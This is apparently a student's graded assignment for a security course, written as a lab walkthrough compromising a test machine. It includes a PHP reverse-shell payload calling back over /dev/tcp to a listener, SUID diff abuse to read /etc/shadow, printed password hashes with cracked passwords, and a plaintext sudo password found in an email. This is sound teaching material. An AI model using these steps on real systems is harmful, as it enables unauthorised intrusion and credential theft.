

INF249 25H: Second Graded Assignment

- 1) By running an arp-scan, two IP addresses with their corresponding MAC addresses were discovered: 10.245.193.1 and 10.245.193.91.

Since the network communicates with other networks, a gateway router must be present. Running the ip route command shows that the default gateway is 10.245.193.1. The remaining address **10.245.193.91** is identified as the target machine.

```
student@student:/$ sudo arp-scan -I eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 10:66:6a:74:a3:5e, IPv4: 10.245.193.121
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.245.193.1    10:66:6a:51:3d:d3      (Unknown)
10.245.193.91   10:66:6a:25:c5:01      (Unknown)

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.985 seconds (128.97 hosts/sec). 2 responded
student@student:/$ ip route
default via 10.245.193.1 dev eth0
10.245.193.0/24 dev eth0 proto kernel scope link src 10.245.193.121
```

- 2) By scanning the target machine using nmap -sV the following services was exposed:
 - a) ftp
 - b) ssh
 - c) http

Each service includes the version number.

```
student@student:~$ nmap -sV 10.245.193.91
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-10 08:44 UTC
Nmap scan report for ma3.incus (10.245.193.91)
Host is up (0.000011s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.52
MAC Address: 10:66:6a:25:c5:01 (Unknown)
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

- 3) A known vulnerability on the service FTP is to login with anonymous. This was performed on the FTP service on the target machine and the login was successful, hence this is a misconfiguration.

```
student@student:~$ ftp 10.245.193.91
Connected to 10.245.193.91.
220 (vsFTPd 3.0.5)
Name (10.245.193.91:student): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Seed: 520226

- 4) To gain initial access to the target machine, a reverse shell was established by exploiting a file upload vulnerability. First, a listener was set up on the attacking machine using nc -lvpn 4444 to receive the incoming connection. A PHP payload named revshell.php was then created, designed to execute a bash shell on the target and redirect its input and output back to the attacker's listener. This payload was uploaded to the server by leveraging the anonymous FTP service. The final step was to trigger the script's execution by sending a web request with CURL "http://10.245.193.91/files/revshell.php". Upon execution, the script connected back to the Netcat listener, providing a command-line shell as the www-data user on the target machine. So the combination of being able to upload a FTP file and being able to request the HTTP server to run it created an opportunity to get initial access to the target machine.

```
150 Here comes the directory listing.
-rw-r--r-- 1 107 114 129 Oct 10 11:22 cmd.sh
-rw-r--r-- 1 107 114 124 Oct 10 15:07 revshell.php
-rw-r--r-- 1 107 114 126 Oct 10 15:11 revshelll.php
drwxr-xr-x 2 107 114 4096 Oct 10 13:56 sage
-rw-r--r-- 1 107 114 1424 Oct 10 10:49 shell.php
-rw-r--r-- 1 107 114 2458 Oct 10 10:03 shell.py
drwxr-xr-x 2 107 114 4096 Oct 10 13:05 test
-rw-r--r-- 1 107 114 41 Oct 10 11:47 test.php
-rw-r--r-- 1 107 114 95 Oct 10 11:44 test.py
-rw-r--r-- 1 107 114 20 Oct 10 13:19 test.txt
-rw-r--r-- 1 107 114 20 Oct 09 12:44 test_upload.txt
226 Directory send OK.
ftp> put reversehell.php
```

```
<?php
// Spawns a shell and connects back to you.
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.245.193.121/4444 0>&1'");
```

```
student@student:~$ curl "http://10.245.193.91/files/revshell.php"
```

```
student@student:~$ nc -lvpn 4444
Listening on 0.0.0.0 4444
Connection received on 10.245.193.91 39374
bash: cannot set terminal process group (233): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ma3:/srv/ftp/upload$
```

Seed: 520226

- 5) The primary method to enumerate the user accounts on the machine involved inspecting the /home directory, which is the standard location for user home directories on Linux systems. The command ls -l /home was executed, and its output confirmed the existence of several user accounts by listing their respective home directories, including the users shown in the picture below.

```
www-data@ma3:/srv/ftp/upload$ ls -l /home
ls -l /home
total 44
drwxr-x--- 10 alicejohn    alicejohn      4096 Oct  9 09:27 alicejohn
drwxr-x---  8 davidwilson  davidwilson   4096 Oct  9 09:27 davidwilson
drwxr-x---  3 emilybrown   emilybrown     4096 Oct  9 09:27 emilybrown
drwxr-x---  3 ethanlee     ethanlee       4096 Oct  9 09:27 ethanlee
drwxr-x---  6 jamesanderson jamesanderson  4096 Oct  9 09:27 jamesanderson
drwxr-x--- 10 johnsmith   johnsmith     4096 Oct  9 09:27 johnsmith
drwxr-x---  5 michaelclark michaelclark   4096 Oct  9 09:27 michaelclark
drwxr-x---  5 oliviamartinez oliviamartinez 4096 Oct  9 09:27 oliviamartinez
drwxr-x---  3 sarahtaylor   sarahtaylor    4096 Oct  9 09:27 sarahtaylor
drwxr-x---  8 sophiarodriguez sophiarodriguez 4096 Oct  9 09:27 sophiarodriguez
drwxr-x---  2 ubuntu       ubuntu        4096 Oct  8 07:56 ubuntu
www-data@ma3:/srv/ftp/upload$
```

- 6) To extract the user password hashes, it was necessary to read the contents of the /etc/shadow file. The current user, www-data, lacked the required permissions to access this file directly. A privilege escalation vector was identified in the form of a misconfigured SUID binary: /usr/bin/diff. The SUID permission allowed this program to execute with the privileges of its owner (root), rather than the www-data user. This vulnerability was exploited by running the command /usr/bin/diff /etc/shadow /dev/null. Since the diff process ran as root, it was able to read the protected shadow file and, by comparing it to an empty file, output its full contents. This successfully bypassed the standard file permissions and allowed for the extraction of all user password hashes.

```
< alicejohn:$y$j9T$dzWathbwx3A4SPGraK9UI/$qP0G9Uj.BCXZNUSHTpSbcpkgcQFQgdWvq/L70l65Wu8:20370:0:99999:7:::
< johnsmith:$y$j9T$0D1NP9D9usd7/8fAnxFu0$ziXELQIP6lFL478Cs0Fy0guw70TAuCLeaKtV2FCRuD:20370:0:99999:7:::
< emilybrown:$y$j9T$1aRG4wGi70g24pteF0w001$xnaZzpWTZLshy8e3egMZE9gaHHgLZRnm5iZUmOKlo7:20370:0:99999:7:::
< davidwilson:$y$j9T$k3im.tHn62bVxc23XeK.X.$H4H59XPHQliRxKMjP7G/o2M1YSV0W0Zvc93c7Kgpan4:20370:0:99999:7:::
< sarahtaylor:$y$j9T$WuVQK0B8aOC0cviiN.gcu1$Xo59pquKV7UiwANEgWlLYRxt7U4.xvUAAZ2N6otYFZ2:20370:0:99999:7:::
< michaelclark:$y$j9T$xyd3rgfMdyD3hwr25jl5H1$w4nv.2TAdsfWcVoTK7CE3ziaOJl5Rm1H/K7nwBgHTC:20370:0:99999:7:::
< oliviamartinez:$y$j9T$pJMF20ImaE/ebtxsPf.Wj1$3v0tSYw0Yr7ZdjAkUr7G8Hqzoo2i40E4gRmTIn6/kTx6:20370:0:99999:7:::
< jamesanderson:$y$j9T$ieZEX8ZUnGg0H.e.U6lv/0$ir4x3sQR4uBKQ7Kwa/GMG3QmIoq02.74qAFmx5EfGU3:20370:0:99999:7:::
< sophiarodriguez:$y$j9T$jAsgVz18XuODDQQBThMoKZ.$AeYA114my.VtB/w/c1no3/ke8joc/pG55udkI4lBWA:20370:0:99999:7:::
< ethanlee:$y$j9T$ja0ZnFwRFgEZ3/GzgcsG.1$8WHMFebzWjJ1VoJtHiA.U5oNcFM781wyAbZ4CUKZw09:20370:0:99999:7:::
```

- 7) The extracted user hashes were targeted for offline cracking using the John the Ripper utility. A hash file (hashes.txt) and a dictionary file (wordlist.txt) were prepared for the attack. An initial dictionary attack successfully revealed passwords for several non-privileged users.

```
sage@sagePC:~/Inf249$ john --format=crypt --wordlist=wordlist.txt hashes.txt
Loaded 10 password hashes with 10 different salts (crypt, generic crypt(3) [?/64])
Remaining 9 password hashes with 9 different salts
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
paralelipiped (sarahtaylor)
!!!watermelon246 (oliviamartinez)
2g 0:00:00:01 100% 1.851g/s 17.59p/s 158.3c/s 158.3C/s 2261928
Use the "--show" option to display all of the cracked passwords reliably
Session completed
sage@sagePC:~/Inf249$ john --show hashes.txt
davidwilson:!!!watermelon245
sarahtaylor:paralelipiped
oliviamartinez:!!!watermelon246

3 password hashes cracked, 0 left
```

Seed: 520226

- 8) To obtain sudo privileges, I inspected the home directories of the non-privileged users. In the directory belonging to davidwilson, I discovered a shell script, ma3mk2.sh. This script revealed the password for the sudo-privileged user, jamesanderson. I then used the command su - jamesanderson with the password J!4nQv@7mP5% to successfully elevate my privileges.

```
davidwilson@ma3:~$ cat b
cat b
Hi,
I have reset your password to J!4nQv@7mP5%, please write it down somewhere and don't forward this email to everyone in the department
.
> Hi David,
>
> Could you please change my password to something more secure? I'm not sure how to do it myself. Thanks!
davidwilson@ma3:~$ su - jamesanderson
su - jamesanderson
Password: J!4nQv@7mP5%
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jamesanderson@ma3:~$ cd
```

- 9) To find the flag, I performed a recursive grep search across all user home directories for the keyword "FLAG". The command located the flag inside a text file named FToEYZPK.txt, which was found in the home directory of the user alicejohn. The flag was as follows: **FLAG{OJFBgMM9ZluXYVU}**.

```
root@ma3:/home/jamesanderson# sudo grep -r "FLAG" /home
sudo grep -r "FLAG" /home
/home/alicejohn/M7N6SAoU/iIX8uPSt/FToEYZPK.txt:~e8Lmi[@4\5z9itIQ]2At75wGDJKF+<*'p]<A+89FgI]+:y`H#($48t7d1&]#LGFB7QI{:BzCl*_M{uY}`QdH
r~~wwqhP8.(2x!=/hnE=|XN70Xsw81guas)T>D>.u&?n-i>p8#?g..LLf7T{jve*KNic@*Xm.b&Do{j7PL){%$!/Q.r.8IV<bo?U}*Jdi>^Q.*+p{Dif'1:++/8!14g`jg
U$N9!|Z$0:[6QjxWSY?Mgt*Ie|N04CFJNqjfо-N`WdyJ=FXMAGJBh>0,eQz^%29[*al_2LF+N\io7,~\Ueqq&pSx];|[gob9LZwY/+b"ws5,II[*ylp|fm?@p[ve|pZ6
<2na00!#ns)hIMBjfp6!D3[;.w;WZLqsZpbai+=`V?D]N<H>-g!]`8F"dw_vU;83f16[@Cz~-fs0~JH`mO.Jq-N,&GlF2l-fQ4#sxq!&U+u+]xsE[,{f0#qlH0j{#}:P:$
fx?Rugxjf5!]!FNls01`^deTE.g"0D-nwm3r,a)6Hf@u<>pT1bfG"oQ/$5Jwqlv)8*Re=FPDBE'S,o-PIUJ->CUXIK8H^?@XGP)e4>3#+LH{?L-&4hLy}My-j-M=0("5x#r
I9Lmjbbv5#q\TFL%t>ok;/Puw/140CY<6tu`^=5M\9HZaP,Pbq,nq3IqQ5%C1VL]Bb+P>z WYQKLGv_40/)sGe,7T\F7+iChTwv+w|Rb8V2*Tb;?Q4(QbAdn'>+jDF1lbG
Q.->P12d\waihd$UkQnY.U3Nvi:9C%9u#YXB,&+-GR;b7$5X[k|4]Drsg7.PxF`#C46N\cz\EAYY\8izkoh!]q0,6)]-fR_hJ]0/3f^LZPwh%2809f0+=@\\i-g8CI=tae07IY
f/Ox++!$(8lv.\pQv+gmg~#y2{z7}'!;BjU'S6;5iv57'T<3{bAnZ/MQR9Tz-v3JhQ0qk;n$5_d8n#`tE$%>Zj-JbPH'wa{$Q=z:jH+NsL!=B,#lCp@BoYl=w?:T6ScpWERS\IV
'w>^,-eIpn9Ia99$,8oTV)BEmpNb\yGoh1E8;pCfuFDNd.gS8SX9et;*>0$Wn9NfL'PE9zeK1UDX)>kXz:t9Ct?/_9S=Y#_4wx`P{gb-b72Re2B*m6'7'&w):m1-}E!&C?_
pmF!Uw*uk'UX902io5CHDV9ehal!7.<+300v3A"/0|0VLXL!a:6[ZCg[\v]-AHFBQ,jx4ko`VLhV26cRE7Ts196*$_h4u%$Umf/Krf`$8$6C0?iyHwD]=eC/s1Ue6>AfMh{O
Qv">,"b'G?]!`l"e$eNDf"040>Z:AJH}I&jgW#.2-<0@#zz+k{VLE};$JH5MoV`^f@+V+esNd>1APe]sF-J-Zm<??ZHZ`YGeTL79EpeB\0_dtt,_.)C?x.G.uXeYKePUZ7NV
(!r?QS8ZEx3SKL3YU':Xb"OLh]H+v/Xua99(5-?YGN;dq3wG*hpG(f&Y#6fJ+:0N*qz/[z_|s?k|J7Jc<LS}:l^FT]a8,`!WZ]"g9jf!ta[N[:d7$8t5V(wU;`!4Zz;1R;N1
Ae-E0:mqQ#wMX/&Lf8+uj!LW]k`6o^K!IAA#+54_%c:w)#mA.j-k9+3[|h8U_09|hR%m0`|E[MoJFLAG{OJFBgMM9ZluXYVU
root@ma3:/home/jamesanderson#
```